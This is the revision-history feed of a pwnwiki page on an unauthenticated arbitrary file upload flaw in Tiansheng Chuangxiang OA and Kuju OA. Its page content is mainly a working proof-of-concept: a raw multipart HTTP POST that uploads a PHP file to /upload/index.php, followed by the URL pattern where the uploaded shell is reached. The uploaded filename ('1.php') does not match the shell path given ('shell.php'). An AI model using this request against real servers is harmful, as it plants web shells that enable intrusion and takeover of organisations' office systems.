https://pwnwiki.com/index.php?action=history&feed=atom&title=%E5%A4%A9%E7%94%9F%E5%89%B5%E6%83%B3OA%26%E8%8B%A6%E8%8F%8AOA%E6%9C%AA%E6%8E%88%E6%AC%8A%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E
天生創想OA&苦菊OA未授權任意文件上傳漏洞 - Revision history
2026-04-09T16:40:37Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=%E5%A4%A9%E7%94%9F%E5%89%B5%E6%83%B3OA%26%E8%8B%A6%E8%8F%8AOA%E6%9C%AA%E6%8E%88%E6%AC%8A%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&diff=7106&oldid=prev
Pwnwiki: Marked this version for translation
2021-07-13T06:07:46Z
<p>Marked this version for translation</p>
<table class="diff diff-contentalign-left diff-editfont-monospace" data-mw="interface">
<col class="diff-marker" />
<col class="diff-content" />
<col class="diff-marker" />
<col class="diff-content" />
<tr class="diff-title" lang="chinese">
<td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">← Older revision</td>
<td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">Revision as of 06:07, 13 July 2021</td>
</tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l29" >Line 29:</td>
<td colspan="2" class="diff-lineno">Line 29:</td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div><translate></div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div><translate></div></td></tr>
<tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>==Shell地址==</div></td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>==Shell地址== <ins class="diffchange diffchange-inline"><!--T:1--></ins></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div></translate></div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div></translate></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>http://<target>/data//uploadfile//1//shell.php</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>http://<target>/data//uploadfile//1//shell.php</div></td></tr>
</table>
Pwnwiki
https://pwnwiki.com/index.php?title=%E5%A4%A9%E7%94%9F%E5%89%B5%E6%83%B3OA%26%E8%8B%A6%E8%8F%8AOA%E6%9C%AA%E6%8E%88%E6%AC%8A%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&diff=7105&oldid=prev
Pwnwiki: Created page with "<languages /> ==POC== <pre> POST /upload/index.php?userid=1 HTTP/1.1 Host: www.xxx.com User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64; rv:86.0) Gecko/20100101 Firefox/86..."
2021-07-13T06:07:19Z
<p>Created page with "<languages /> ==POC== <pre> POST /upload/index.php?userid=1 HTTP/1.1 Host: www.xxx.com User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64; rv:86.0) Gecko/20100101 Firefox/86..."</p>
<p><b>New page</b></p><div><languages /><br />
<br />
==POC==<br />
<pre><br />
POST /upload/index.php?userid=1 HTTP/1.1<br />
Host: www.xxx.com<br />
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0<br />
Accept: application/json, text/javascript,*/*; q=0.01<br />
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2<br />
Accept-Encoding: gzip, deflate<br />
Referer:http://www.xxx.com/admin.php?ac=document&fileurl=knowledge&type=1&menuid=24<br />
X-Requested-With: XMLHttpRequest<br />
Content-Type: multipart/form-data;boundary=---------------------------115858488212690034922831875554<br />
Content-Length: 256<br />
Origin: http://www.xxx.com<br />
Connection: close<br />
<br />
-----------------------------115858488212690034922831875554<br />
Content-Disposition: form-data;name="files[]"; filename="1.php"<br />
Content-Type: text/plain<br />
<br />
<?php<br />
echo 123;<br />
phpinfo();<br />
?><br />
<br />
-----------------------------115858488212690034922831875554—<br />
</pre><br />
<br />
<translate><br />
==Shell地址==<br />
</translate><br />
http://<target>/data//uploadfile//1//shell.php</div>
Pwnwiki